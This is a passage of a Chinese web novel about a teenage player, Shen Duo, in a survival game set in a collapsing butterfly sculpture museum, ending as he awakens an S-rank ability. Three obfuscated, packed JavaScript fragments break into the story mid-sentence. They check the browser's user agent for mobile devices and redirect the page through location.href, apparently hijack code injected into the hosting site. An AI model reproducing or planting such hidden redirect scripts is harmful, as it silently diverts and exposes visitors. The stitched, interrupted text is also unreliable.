【商飞扬和管家的儿子长得很像,很小就会互换身份捉弄大人,这意味着他们很了解彼此的性格,小细节都模仿得出神入化】 …… 系统咋舌:“所以现在这个商飞扬可能是好朋友许长翼扮演的?妈呀,这副本真是疯狂玩反转……” 沈铎闭着眼思索:“任务说,要帮助商飞扬和许长翼毁掉雕塑馆,假的商飞扬我们已经见过了,真的呢?” 现在雕塑馆已经在崩塌了,他必须快一点找到任务关键人。 他自言自语,“日记里说,那场灭门案发生的夜晚,烧过大火。” 脑海浮现出手臂上的烧伤痕迹。 “啊,难道是他……” - 沈铎现在附身在一只蝴蝶身上。 这只本来卧在高处沉沉睡着的大蝴蝶被他驱逐起来,吆喝猪崽一般催促起身,朝着目的地疯狂飞去。 它似乎感应到了沈铎的存在,异常烦躁,可又无能为力。 沈铎问过顾佳佳,爷爷的尸体被搬去了哪里,她说在商飞扬的私人收藏厅。 私人收藏厅和展览厅相比而言挺小的,主打一个贵而精。 但展览厅都崩塌了,这里还完好无损,门厅的烛火亮着,烛泪像苍白的藤蔓,从门两侧悬垂到地,又一直往前蔓延。 沈铎误打误撞知道了雕塑馆崩塌的源头,原来是白色的墙壁和天花板异变了。 这里其实也有了初级异变,白色的墙发软融化,没有了连接物,就像墙体里没有了水泥,所以从内向外崩溃。 他对白色有了阴影,吆喝着蝴蝶避开,从高处的小窗飞入,这是沈铎第一次来到商飞扬的收藏厅,他本以为要在茫茫的雕塑里寻找一粒白沙,可没想到收藏厅里的雕塑并不多。 沈铎一眼就看到了‘破茧’系列。 商飞扬父亲的成名作,进馆好几天了,没想到在这。 蝴蝶在面容各异的茧中人身上微微一落,便又很快飞起,在空中兜旋片刻,朝着远处而去,停在了顾大爷的雕塑上。 一个念头在他心里涟漪荡开。 这尊雕塑果然重要到,能和商飞扬父亲的成名作共处一室。 不过,沈铎很快犯起难。 没有手,他要怎么扒开雕塑的白茧呢? 蝴蝶振翅的速度慢了一拍,它似乎和沈铎有更深层的联结,能感受到他的困扰与疑问。蝴蝶将这个依附于它的人类视为同类,因为需要依附,它简单地判断,沈铎可能是一个很弱小的同类。 它理应为弱小的沈铎解除麻烦。 振翅的频率变得更快了,就发出的呼救信号。沈铎注意到这一点时,四周已经全都是这种振翅声,高处不能被照亮的黑暗中,似乎飞来了无数只蝶,它们翅翼上的蓝点,在空中交错闪烁。 沈铎恍惚间,像是看到了一只更为硕大的蝴蝶,它就隐匿在这群蝶的后方,像威严的统帅,巨大的蝶翼还未舒展,就已经包揽这片幽暗的高空,它包容着无数闪烁的蓝色光点,将孩子们隐匿在自己流动的花纹中。 这些蓝蝶落在雕塑身上,每一寸白茧都是它们的降落地。沈铎最方便观察的还是他附身的这只,蝴蝶只要扑闪翅膀,一些靛蓝色的粉尘就会落在了白茧上,这些粉尘似乎具有溶蚀效果,让裂纹产生,让茧皮剥落。 蝴蝶的数量很多,很快老人就被剖了出来。 他是真的死了。 沈铎曾有一瞬想过,会不会他没有死,只是一场演戏。但他真的死了,还维持着死前的样子。 “谢谢。”沈铎对这群帮助了他的蝴蝶道谢,它们扑闪薄翼似乎说了不客气。 沈铎又吆喝着附身的蝴蝶落到老人僵直的手臂,试图爬进袖子缝隙,想看到他手臂上烧伤的痕迹。 蓝蝶很是无奈。 它从没见过沈铎这样弱小还爱作死的同类。 一番商量之后,无数蝴蝶聚在一处,用力扇动翅膀,很快就将衣袖吹得卷边,沈铎这才感受到蝴蝶聚集的数量有多恐怖,它们扇起的风不仅让他看到了老人的手臂,还吹得衣服下摆掀起,由此看到了腹部。 沈铎第一感觉就是,这不是一个老人应该有的肚子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119795|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 很健康,皮肤没有松弛,没有纹路。 这么一想,他似乎都没有老人斑。 沈铎回想起他和顾大爷为数不多的对话,当时他就感觉声音听起来很年轻。那时还以为是生活将老人磋磨至此,可是万一,他就是挺年轻的呢? 那他为什么要伪装成一个老人? 沈铎心中涌出一个又一个问题,他似乎已经站到了一扇大门前,手也放在了门把上,只等轻轻一推就可以看见门后的世界。 就在此时,收藏厅的门“吱呀”一声,一个熟悉的影子飞了进来,蝶群已经飞到了高处,顾佳佳并没有看到。 她也不关心其他,走到了她的“爷爷”身边。 沈铎就趴在高处,以一只蝶的标准去看,顾佳佳现在就像一个小女巨人,沈铎因此很轻易看见了她手里的东西。 好像是一个展览导视牌。 这种牌子在雕塑馆里很常见,是用来介绍雕塑信息的。 雕塑馆年久失修,这些东西早就用不上了,现在顾佳佳不知道从哪捡来了一个。 她先看了“爷爷”一眼,就被他身上的变化震撼了。 “他怎么变成这样了!”顾佳佳非常愤怒,沈铎不知道她在对谁说话。让他没想到的是,房间一角竟然真的响起了回答,声音很熟悉,他一下就认出来了,但知道顾佳佳在质问谁以后,沈铎有点懵。 商飞扬。 顾佳佳居然在吼商飞扬,那个怪胎! 顾佳佳逼视着他,他却没有生气,抬头看了眼高空,同样不解,“蝴蝶从不来这个房间的,也不会对雕塑动手。” “但它们就是动手了。”顾佳佳冷漠且冷静,她一点也不害怕。 而让人更大跌眼镜的事还在后面,他居然看见商飞扬对顾佳佳低头道歉,样貌丑陋惊怖的青年低声道:“对不起。” 顾佳佳似乎并不想为难他,沉默不应,两个人一起抬头看着沈铎——其实是在看顾大爷的尸体。 他能很清楚地看见两个人的神色。 女孩完好的脸,男人丑陋的脸,都浮起相似的伤感。 他们好像在为同一件事、同一个人伤心。 商飞扬开口了,“你得离开这儿了。” 顾佳佳眨了下眼,“你真的要毁掉这里吗?” 商飞扬点了点头,他不再去看逝者的脸,低头看到顾佳佳手里的导视牌,“拿这个过来做什么?” 顾佳佳默了一默,“我以后……应该不能经常来看他,我怕有人忘记他,所以想给他立一块牌子。” 说着,她将写着他名字的导视牌放在了雕塑前面。 就像在坟墓前立了一块墓碑。 大部分白茧已经剥落,他的容颜栩栩如生停在死亡那一刻,可他却像永久凝固的雕塑一般,无法再回应外界的声音。 商飞扬看着那块“墓碑”,笑了起来,“挺好的,雕塑的坟墓就是展览馆,雕塑的墓碑就是导览牌。” 顾佳佳此行似乎就是来做这件事的,放下牌子,整理好以后便走。她走到门口,犹豫了片刻,似乎想要回头,最终还是没有,开门出去了。 商飞扬等到房门落锁,又仰起头看了雕塑一眼,“终于要结束了。我,筱雨,吕凯,还有商爷爷和你。一切都要结束了。我会为你报仇,让这一切终结在这里,我不会走,我会陪着你。你听得到吗?” 他无法从蝴蝶口中得到回答。 门又合上了。 等到收藏厅再度变得安静,谁也没有发现,落在雕塑肩上的一只蝶翩然飞起,掠过导览牌。 长长的弧线,长不过人的一生。 沈铎回头,看见了墓碑上的名字。 字迹稚嫩,尚未干透。 ——生父商飞扬之墓。 21. 蝴蝶雕塑馆21 -21- 【叮咚——】 【叮咚——】 【叮咚——】 数条通知跳入脑海,急促而紧张。 【检测到关键NPC商飞扬】 【检测到关键NPC许长翼】 【检测到关键NPC顾佳佳】 …… 【亲爱的玩家沈铎,您已获取足够多的情报,能解锁三人的真实身份,是否现在解锁?】 【是】 【否】 …… 【亲爱的玩家沈铎,已收到您的回复,现在为您公开三人的真实身份】 【1、商飞扬】 【十多年前因爷爷执行的“换子”计划离开商家,目的是为了保证他的安全。自此之后,一直在外流浪,顾佳佳为其收养的孩子】 【2、许长翼】 【管家许建伟的儿子。十多年前,因商国栋执行的“换子”计划失去了许长翼的身份,开始在商家扮演商飞扬,变成一个靶子,高调地吸引、麻痹怪物“陈文轩”的注意力】 【其真实意图与商飞扬一致,二人在商国栋死后继续保持联络,不久前制定了严密的计划,只为一个目的: 复仇、复仇、坚定的复仇、没有退路的复仇 ——杀死怪物“陈文轩”】 【3、顾佳佳】 【商飞扬在外流浪时收养的孩子,知晓二人和雕塑馆的全部秘密,在复仇计划开始后,和商飞扬假扮为爷孙,迷惑队伍中狡诈的怪物“陈文轩”】 …… 【亲爱的玩家沈铎,鉴于您已经解锁三位关键NPC,现在可为您公开重要情报——“最终复仇计划”】 【是否现在查看】 …… 【已收到您的答复,正在为您解锁】 …… 【最终复仇计划】 【参与者:商飞扬、许长翼、顾佳佳、吕凯、筱雨】 【目的:杀死怪物,结束它罪恶的一生】 【部分谈话资料如下: 【商飞扬:它很狡诈,如果不是很在意的消息,它是不会轻易暴露自己,来这间雕塑馆的。 许长翼:这些年外界一致认为我,也就是你,商飞扬,已经疯了。有一种说法,是说我已经变成了“破茧”的信徒。 商飞扬:还不够,最好是实质性的能吸引到他的东西。 许长翼:最近筱雨在地下住着,在实验室里找出了一些东西……如果那些资料是真的,那他不会放任“蝶母”留在这儿,他会过来的】 …… 【计划的执行过程: 【事前放出“蝶母”还在实验室的消息,同时用雕塑比赛作为噱头,安插吕凯、商飞扬和顾佳佳进入参赛队伍。 【陈文轩似乎与一位叫做“沈铎”的高中生联系紧密,该学生似乎已经成为了它的破茧实验品,“沈铎”意图不明,需要警惕 【进馆之后,为了让陈文轩很快相信,这间雕塑馆已被“破茧”组织完全渗透,必须让人在他面前以“破茧”的方式真实死去,谁来做这个人选?】 【商飞扬已同意】 【吕凯已同意】 …… 【只要能将他拖死在雕塑馆,我必会让他和“科斯克鲁蝶”同归于尽,这些年来,我利用“蝶母”的茧,已经在雕塑馆的外部形成了巨大的白茧,那些白色的墙、天花板,无处不在。这个雕塑馆,如今就是世上最大的进化之茧】 【它们不是很喜欢破茧吗?那就让它们,在母亲织就的巨茧里死去吧】 【我的朋友们,我的战友们】 【如果那时你们还能活下来,就去地下实验室的旁边吧,那里有唯一黑色的墙壁,那是我为你们留下的唯一活路】 【也是我们通向下一世和胜利的道路】 …… 沈铎笑了一下。 系统:“这里面有能让我们通关S级副本的指示吗?” 沈铎摇头。 系统:那你笑什么啊! 沈铎:“你没发现你的上司们,对我态度特别好吗?”这则通知依旧是越过判官狗下发的,似乎在这个副本升级为S以后,就有更高级别的系统全权管理了。 被沈铎这么一说,系统也意识到了。 这么一大段信息,处处都是关键情报,放在从前,绝对不可能一次性发完。 还有上司的态度,【亲爱的玩家沈铎】【已收到】【立刻为您】……完全不耽搁沈铎时间的,简直就像从【系统客服】变成了【专属客服】,全心全意为沈铎一人服务。 沈铎若有所思:“这态度好眼熟,让我想起一些手游官方运营。” 沈铎平时就爱玩一些手游,官方运营在出BUG的时候总是态度良好,滑跪极其迅速,玩家往往还很盼望出重大事故,因为这样就会得到“十连”失忆技能。 逃生游戏发来的这些消息,就很有捂嘴的既视感。 可是沈铎现在,有什么值得讨好的必要? 他连异能都没有觉醒,激活了一个S级副本,尽管主线任务已经推进到100%,但没什么用,他很快就要在双方大战中死了。 沈铎开始联想那些手游的运营,他们其实也不是一下子就开始滑跪的,事故在还没有发酵成事故的时候,他们总想着装死度过,事情闹到玩家维权、评论区沦陷、开始对游戏产生影响的时候,他们才会发公告。 ……影响。 沈铎若有所思,难道我能影响到逃生游戏吗? 他问系统:“你之前跟我说,我们地球被选为了内测服,内测服是一个很大的服务器吗?” 系统虽不知他为什么问这些,还是答了:“准确来说,是内测池。内测池的作用一般有两个,第一,寻找合适的新玩家,就是像你这样拥有异能的;第二,就是测试一些副本,这些副本通过测试的话,是会在正式服上线的。” “我听你说过,内测池子不会有S级的副本?” 系统摇头道:“连A、B级都不会有,这次算是重大事故了,不知道为什么会出这种失误……” BINGO!这就是他们担心的! 他们害怕这次的重大事故在内测服发酵! 而他,能左右后续的发展! 沈铎飞快道:“我要投诉。” 系统傻眼:“什么?” “我要投诉,投诉这次的重大事故。”沈铎故意说得很夸张,“谁知道还有没有其他S级副本?内测池应该不止我这样的新玩家吧,他们会怎么看待这次的事故?以后还会有人敢参加内测池的游戏吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119796|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >系统都要懵了,“投诉……可是我轮换了三千多场,从没有玩家要投诉过……” 沈铎:“但也没有玩家遇到过S级的副本吧?” 系统的天都要塌了,“所以,你要投、投诉我……” “不是投诉你。是投诉内测池的……呃,谁能负责我投诉谁。” 系统汗直冒:“但我联系不上那位大人……” “那就一层一层往上告,你的直系上司,你上司的直系上司,一层一层往上告。”沈铎心想,内测池算什么,老子要告到中央去! 系统提心吊胆发走了录像【沈铎的实名制举报】,十二判官的梯队和玩家有一个类似点,它们也有着严格的升级制度,但玩家是从副本里获得积分,判官们作为系统,则是吃玩家的红利。 把它们看成经纪人就可以了。 手头上负责的玩家越是优质,它们升官加爵的速度就会越快。 负责沈铎的这位判官狗,常年在内测池打转,它的直属上司也是狗之一族,狗是上中下生肖中最不受待见的【下生肖】,它们并没有决定权,沈铎录制的【实名制举报】,一层一层,会送到上生肖的顶头上司手里。 等了很久,都没有任何回复。 可能上司也很无语,系统提心吊胆,又有点坏心思,觉得那群老登终于能体会到,它在沈铎这儿两眼一黑的感受了。 【滋滋滋——】 沈铎精神一振,这次的提示音不同以往任何一种。 系统小心道:“那位大人说要跟你单独通话。” 沈铎:“好。” 话音落地,沈铎面前像影一般具象成模糊的黑影,从中传来丝丝声响,让系统惧怕的大人物并未展露真容,它的声音很尖细,说话非常干脆。 “我们有两个选择给你。” “一,结束游戏,遣返离开。自此之后,你不会再进入逃生游戏。相应的,你也不能再对逃生游戏进行任何评价。” 沈铎点头表示了解,“第二种呢?” “继续游戏,我们会给予你一定帮助。”那位权限极高的判官顿了顿,“也许是一个提示,让你有通关的可能。” 沈铎:“只是可能吗?” 闻言,它很轻地笑了,似乎在嘲笑他的天真,“这是S级,多少人竭尽全力,在为一个渺小的可能性抢掠残杀,而你,不费吹灰之力就能获得。” 系统小声提点沈铎:“S级副本的通关代价很高昂,但它支付的奖励也相当可观。”所以玩家才会飞蛾扑火,源源不绝。 “想离开的话,现在就可——” 沈铎毫不犹豫,打断了它,“我选第二种。” 也许十年后的他,会犹豫做什么选择。是保证自己的安全,还是全力以赴地冒险?也许十年后的他,会有很多顾虑,但现在的他,只有十七岁,给他一个撬棍,他就敢撬起整个地球。冒险的人那么多,无所不能的人为什么不能是我? 所以他毫不犹豫,系统对他曾经的死亡警告只是在脑子里转了一下,就被他抬着下巴无视了——死了又怎么样? 那位大人物没有任何表示,似乎沈铎选1还是2都无所谓,他目前离它们太遥远了。 它十分官方地宣告:“那我们会给你一个情报,一个有0.0092%几率通关的情报。” 22. 蝴蝶雕塑馆22 -22- 0.0092%的通关概率。 系统头皮一麻,有些绝望,这跟逼沈铎去死有区别吗? 可沈铎不假思索就答应了,随即和上司都变得安静,系统知道,这是开启了屏蔽力场,表示对话只能由沈铎一人听到。 一定是很重要的情报,所以连它都不能听,就是为了预防任何意外。对此系统没有怨言,它也有自己的私心:如果,万一真有这个如果,沈铎走大运通关了S级副本,那他就会一跃而起,成为内测池的第一新秀。 这样潜力无限的玩家,不可能不被正式服注意到,到时候水涨船高,它的狗生将会过得无比幸福…… 在系统幻想自己加官进爵抽上司嘴巴子的时候,力场解除了,沈铎的声音第一时间响起,听起来有些困惑:“就这样?” “就这样。” 严苛的上司切断了远程联系。 等那道黑影彻底离开,系统才恢复了正常呼吸,小声问道:“怎么样,对你通关有帮助吗?” “不好说。”沈铎若有所思。 不好说是什么情况啊!系统急得要死,恨不得把头钻进沈铎的脑瓜子,看看他到底在想什么。 “等我消化一下副作用。” 许愿瓶的副作用比之前小了很多,可能是身体习惯了,但多少还是有点烦躁。沈铎只能让自己多多发呆,他发现发呆可以抵御一些副作用。 这招跟之前糊弄陈文轩有点类似。 灵魂出窍之后身体就是空的,放空所以百毒不侵。 “你!你怎么还在这儿?”顾佳佳正要走出蝴蝶雕塑馆,扭脸看见一动不动口吐魂魂的沈铎,“不是让你快点走吗?” 沈铎魂兮归来,看了眼(0/3)的许愿瓶,已被自己榨干最后一滴价值,现在浑身上下除了两瓶回血药水,什么都没有了。 真是背水一战啊。 他将瓶子抛飞,拍了两下手,对顾佳佳说道:“带我去找你二爸。” 顾佳佳:“?” 沈铎:“噢,就是许长翼。你爸不是商飞扬吗?他俩关系好,算是你二爸了,带我去找他吧。” 顾佳佳傻眼了。 先不说沈铎是怎么知道许长翼这个名字的……他怎么会知道自己和商飞扬的关系?还知道商飞扬和许长翼的关系?! 她迟疑道:“我不知道你在说什么……” “装。”沈铎无情拆穿:“许长翼就是商飞扬,商飞扬就是许长翼,你们应该去参加今年的金玉兰大奖,保准能评个影帝影后。” 顾佳佳更傻眼了。 “你听没听我说话呢,小孩。”沈铎自己也没比她大到哪去,一口一个小孩。但顾佳佳被震得完全呆滞,沈铎只能无奈拎起她,“算了,就这么走吧。” 顾佳佳被拎着走了一段距离才回过神,准确说,是终于从巨大的震惊中缓过来了,“……你把我放下来。” 沈铎当耳旁风。 “我带你去行了吧!” “早这样不就行了?”沈铎抱怨着,把她放在了地上。顾佳佳离谱地看着这个人,身体单薄得要死,哪来的一身牛劲啊。 她艰难整理着自己的说辞:“不管你是怎么知道的……你得想好,馆……长翼叔现在正和陈文轩决战,那个关樊也在,你要是还想使上次那招吓唬陈文轩,可能不太行了。” 沈铎:“这你不用担心,我自有办法。” 顾佳佳看着他,从头打量到脚,匪夷所思:“你……你到底是怎么知道的?” “你应该问我,到底知道了多少。” “那你知道了多少?” “说实话,我还有一些事不太清楚,比如,许长翼心甘情愿扮演商飞扬十多年还情有可原,他们本来就关系好嘛,但为什么吕凯和筱雨也愿意呢?他们和商飞扬可没有太大关系啊。” 沈铎自言自语,“我能想到的理由就是,他们当年也被陈文轩害惨了,身上的茧也是在那个时候种下的,所以不能放过他。” 顾佳佳默了默,“有这个原因吧。” “还有其他原因?” “雕塑馆的地下有一只【蝶母】……”顾佳佳看了眼沈铎的神色,“好吧,这个你也知道了。” “我来得晚,有很多事都不清楚,但听他们说,最初发现【蝶母】的地方,其实是长翼叔从小生活的镇子。” 沈铎噢了一声,踢踢踏踏的脚步声在崩坏的长廊里回响着,“那科斯克鲁蝶最初出现,就是在那个小镇上?” 顾佳佳嗯了一声,“商老太爷就是在去了小镇之后,开始对【破茧】有了兴趣,也是在那个时候,疯狂迷恋起蝴蝶的。” 商老太爷就是商国栋。沈铎意识到,这个副本的源头应该就在那个小镇上,那么完成隐藏任务【毁灭雕塑馆】之后,他获得的奖励可能也会跟小镇有关。因为这样整个故事线才能补全。 他抬起头来。 地面、墙壁和天花板都半融化了,淅淅沥沥流着水,他们像被放在蒸笼上的包子馅,热得无法呼吸。许长翼真没给自己留任何退路,没有人可以从完全茧化的雕塑馆离开,他们都会在茧里溶解。 沈铎停下脚步,“好了,就到这儿。” 顾佳佳不明所以,“不是让我带你去吗?” 沈铎其实知道他们在哪,许长翼一定会选一个方便牵制陈文轩的地方,因此离【蝶母】越近越好。只不过因为雕塑馆整体茧化,路变得扭曲破碎,他需要一个更清楚雕塑馆状况的人来带路。 但现在,他已经远远看见展览大厅了。 “反正就到这儿。”说完也不看顾佳佳什么表情,自顾自就走了,系统狗眼旁观,忍不住问道:“沈铎,你没有兄弟姐妹吗?” “我有一个表弟叫孙大圣,但你为什么这么问,我感觉很冒昧。” 系统确实很冒昧,“你这样用完就走,实在很没人情味儿。” 沈铎:“天大的笑话,我不要一只狗来给我教人情味儿。” 系统:“……” 系统平时也不嘴欠,但现在太紧张了,一想到沈铎即将进入混战,混战中还有一只S级的神话怪物,他就紧张到呕吐,必须说点骚话缓解。 但沈铎看起来很有自信,让它对那个提示越来越好奇了。 “你……小心——!” 不用它提醒,沈铎被提升的五感先一步捕捉到了危机,他的头微微斜开,整个上半身灵巧侧转,避开了袭来的血盆大口。即便如此,擦肩而过时,他还是闻到了对方喷出来的浓臭涎水味儿。 几道目光都聚焦在沈铎身上。 许长翼和筱雨是戒备与困惑更多,才袭击完他的“关樊”正在愤怒嚎叫,而其中最复杂的,还是陈文轩。 他很惊讶,“我以为你不会再出现了。”他不相信沈铎耍完他以后还会选择回来。 沈铎点头,想说我还是来了。但他觉得这句话很不酷,于是故作深沉道:“我必须见证一切的结束。” 狡诈如陈文轩,自然不相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119797|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信这句话,他唯一相信的只有他的本能,“没关系,你可能别有心思,但血脉的压制是实打实的,这次我不会再被你骗了。”说着,他便尝试用血液再次控制沈铎。 血滴答滴答,沈铎的双眼失焦下去。 系统担心道:“沈铎,沈铎!” 沈铎还是那句话:“没事,我自有办法。” 系统于是耐着性子等。 可他一直等到沈铎被控制着一步步挪过去,最终站在了操控台,身后就是万丈深渊,沈铎依然没有任何动作。他的双眼已经完全放空,衣摆被下方的风吹得猎猎作响,像一枚薄而脆的纸片,被人轻轻一推就如断线风筝坠落远去。 这小子还在受血脉压制,陈文轩完全确定了,哈哈一笑,“沈铎啊沈铎,你是个狡猾的小骗子,第一次见面,我就觉得你很不安分。” “你还能想起来,当初为什么找到我吗?那时候的你啊,在学校被人欺负了,无路可走,【破茧】就是最好的路。你是自愿做我的实验品的,也是自愿来这间雕塑馆的,忘了吗,是你给关樊发的消息,说他哥要去雕塑馆了,是你为了报复他,引他过来的。” 陈文轩逼近,在他耳边说道:“其实你的杀心一点都不比我少,环境能把一个人逼成野兽,你和我,又相差多少呢?” 少年的眼睛笼罩着一层白雾,像一具无魂的木偶,不回应他任何问题。 “本来想和你好好相处的,但我改主意了。”陈文轩的手抬起,在系统无限张大的瞳孔里,按上了沈铎的脖子,“去死吧,人类。” 那似乎是一个很慢的镜头:陈文轩五指并为利刃,在少年脖子上轻轻一抹,鲜血就像炸开的烟花,在观测台飞溅成雨,沈铎因为疼痛回返知觉,最后看到的,是陈文轩由近到远变小的五官,最后听到的,是系统撕心裂肺的喊声:“沈铎——”响在耳畔的咆哮声和急速下落带来的尖锐风鸣穿透耳膜:“你骗我,你根本没有办法——” 沈铎的唇角翘起,无声地开合嘴唇,系统努力听清:“……什么?你到底想说什么?” “当、当、当——” 悠扬的钟声从远方传来。 系统的咆哮戛然而止,“……”它还以为是在做梦,可是那钟声由远及近,回荡不休。像这个世界降下千年难遇的暴雨,带来了轰鸣地震。 “当、当、当——” 它浑身的狗毛都炸了,浑身战栗,连牙齿都在颤抖:“这是……” 钟声像遥远的海浪,一层卷着一层,从远方传到了这个狭窄、逼仄、充溢着血腥味的实验室。 似乎在对无限下坠的少年宣告: 即便身在深渊也不必惧怕,因为全世界都在向你看齐。 “异能觉醒啊……那似乎是一种……被全世界……瞩目的感觉……”眩晕中,沈铎没来由想起了这句话。 但是更大的震惊还在之后。 在浪涌来的钟声中,响起了一阵轻快的铃铛声。那铃声不刺耳,温润舒适,仿佛每个人生来如此。 系统难以置信。 钟声,是玩家异能觉醒的前兆。一般只会有钟声。除了一种觉醒,非常罕见的一种,会在钟声中响起轻快的铃铛声:“叮铃铃——” 那意味着: 上到正式服,下到内测池。 遥远如你尚未抵达之地,临近如你已到达之地。 亲爱的玩家沈铎,你已被全世界看到。 是的。 只有S级异能觉醒,会在全服公告。 23. 蝴蝶雕塑馆23 -23- 钟声和铃铛声也传入其他人耳中,一时之间,他们忘记在场还有敌人,不约而同靠近观测台,朝深渊望去。 坠入深渊的沈铎停滞在半空,微微倾斜,像一道昏晓分割线。一枚铃铛宛如黄金冠冕,凭空出现在他头顶,金色的光芒洒落,笼罩住他,嘶鸣不休,似乎让这里的人听到还不够,一定要传向更远的地方。 系统近乎叩拜,仰望着这枚传说中的神铃。 S级异能! 在联赛格局已定的十年中,任何一个梯队,任何一个职业,都没有S级异能诞生。 但是,如今,这枚已经很久不出现的金铃铛,在内测池凭空现世! 神铃可以无视时空与维度的阻隔,打通内测池和正式服的界限,将播报消息送往逃生游戏每一个角落。 它毫不怀疑,现在整个游戏应该都为这条消息沸腾了! 在铃铛的笼罩下,沈铎似乎进入停滞状态,脖间流失的血液也一并凝固,刚恢复了一些力气,就被通知淹没。 …… 【异能名称:走神】 【警告:玩家当前角色卡为D级,不能容纳S级异能】 【再次警告:玩家当前角色卡无法容纳S级异能】 【!!!】 【角色卡超负荷过载,损坏程度20%,请玩家尽快通关游戏……】 沈铎吓了一跳,立刻让系统调出角色卡。 角色卡就是他在进入游戏时,系统发到手里的东西,那时候他还吐槽说,有点像桌游拿到的人物属性卡。 角色卡上有【力量】【知识】【精神】【魅力】【敏捷】五条基础属性。 没有觉醒异能的玩家就会依靠以上基础属性闯关,他们辛辛苦苦拿到的积分点会用在提升基础面板上。 觉醒了异能的玩家,就会升级为沈铎现在的角色卡。 长条形的黑卡,下方被金光渗透,灼出异能的名称和所属派系。但现在,沈铎的角色卡超负荷过载,完全承受不住S级的威压,金光沿着字符一路烧起,灼亮沈铎的面容。 沈铎立刻意识到:留给他的时间不多了。 他必须争分夺秒,在角色卡彻底焚毁前达成通关。他现在唯一的资本就是S级异能,必须要完全掌控它。 他的双眼移到那行金光灼灼的字上。 …… 【S级异能:走神】 【你是一个习惯性走神的学生,课堂上,放学路,食堂里,你的精神力无时无刻不在游走,外泄,移动】 【你思维跳跃,很少有人能跟上你的速度,因此你获得了在黑暗中高速前进、探索寻物的本领】 【你的想法源源不断涌出脑海,走神时的你,其实思维在无限跳跃,因此你的精神力无比庞大,开发没有上限】 …… 关于异能的描述实在太长了,他快速扫过几行,注意到在异能描述下方,除了【所属:精神系】还有四个锁掉的格子,被淡银色的细锁链缠绕着,和金光如此不符,是朽暗的灰色。这几个格子目前只开了第一个,是一个随金色火焰疯狂摇曳的【神】字。 沈铎一边喊系统过来:“异能下面锁死的四个格子是什么!”一边查看【神】字下方的描述文字。 系统:“是你的四个技能,通过异能延伸出来的!呃啊……”它努力想怎么用沈铎能听懂的地球术语来解释,“一些游戏不是会有普攻技能还有大招吗?这四个相当于是你的大招!” 沈铎懂了,一目十行检索完全部信息。 在头顶铃音的笼罩下,他的精神力充沛无比,阅读信息时简直像加了【过目不忘】的BUFF,那么一大堆文字,居然几秒就看完了。 “原来是这么用的……”沈铎抬起头,发现铃铛还在震荡,他不知道,铃音的震荡时间和玩家觉醒异能的强度相关,S级里也是有梯队的,觉醒时铃铛响得越久,玩家的天赋就越夺目出众。 沈铎暂时还不知道这些,他现在满心只想尽快通关。 “我要开大了,时间有限,来配合我!” 别说配合了,沈铎现在让系统单枪匹马去抽陈文轩嘴巴子都可以,它听着响彻不休的铃音热泪盈眶,狠狠答应了一句:“好的!” 沈铎闭上眼。 默想着【神】的描述。 【你的神,你的灵魂,为你所用,听你号令】 【他人的神,他者的灵,亦是如此】 …… 是【灵魂出窍】的超级加倍版,除了【灵魂出窍】,还能拉一个【灵魂】进入自己的身躯。这不就是代打上线吗?沈铎在一行人中扫视片刻,危险的眼神锁定了筱雨,想到她攻击自己灵活的身手,他笑了:“把她给我拉进来。” 筱雨本来在端详停滞在半空不动的沈铎,见他全身散发着灼人金光也没有很在意,她连【蝶母】都见过,天天一块在地下生活,这有什么?她最忌惮的还是陈文轩,因此只是扫了一眼沈铎。 但深渊里的沈铎忽然看向自己。还笑了。 筱雨毛骨悚然,那个笑莫名让她有点害怕,好像有什么事将要发生。刚要嘱托许长翼,忽然眼前一晃,一股扭曲的巨力将她扯走,这种感觉太怪了,她似乎变成写在草稿纸上扁平的笔迹,被三维世界的手一把抹去。 下一秒,她的视线又稳固了。 但是刚看清周围,她浑身的鸡皮疙瘩全起来了—— 她怎么掉下深渊了?! 一直以来,筱雨都清楚知道自己的敌人是什么,就连【蝶母】也是确信可见的。但是现在,她不知道自己的敌人是谁,也不知道遭遇了什么,转眼间自己就从观测台掉入深渊,这是神迹还是魔法?! 神魔的声音劈进脑海,“爬上来。” 筱雨颤抖:“……什么?您是……您是哪位存在……” 沈铎不给她任何思考时间,“爬上去,杀了陈文轩。” “好……好的,但这里是深渊,我怎么——” 沈铎已是离体游魂状态,抬头看了一眼震荡不止的铃音,笑了一下,自信且肯定,“会有东西庇佑你的。” 筱雨更觉得他是神了。 她尝试着扑向最近的峭壁,刚伸展双手,就体会到了陌生的肌肉拉升感……这时她才想起来低头观察自己,这一看险些魂飞魄散,“——!!!”她想大声尖叫,想撕扯陌生的身体,但想到有一位不知底细的存在窥伺着自己,她便咬紧哆嗦的牙关,战战兢兢又格外勇猛地攀到了峭壁边缘。 这具少年身躯的力量感远超自己,她一边往上攀岩一边恐怖地想。 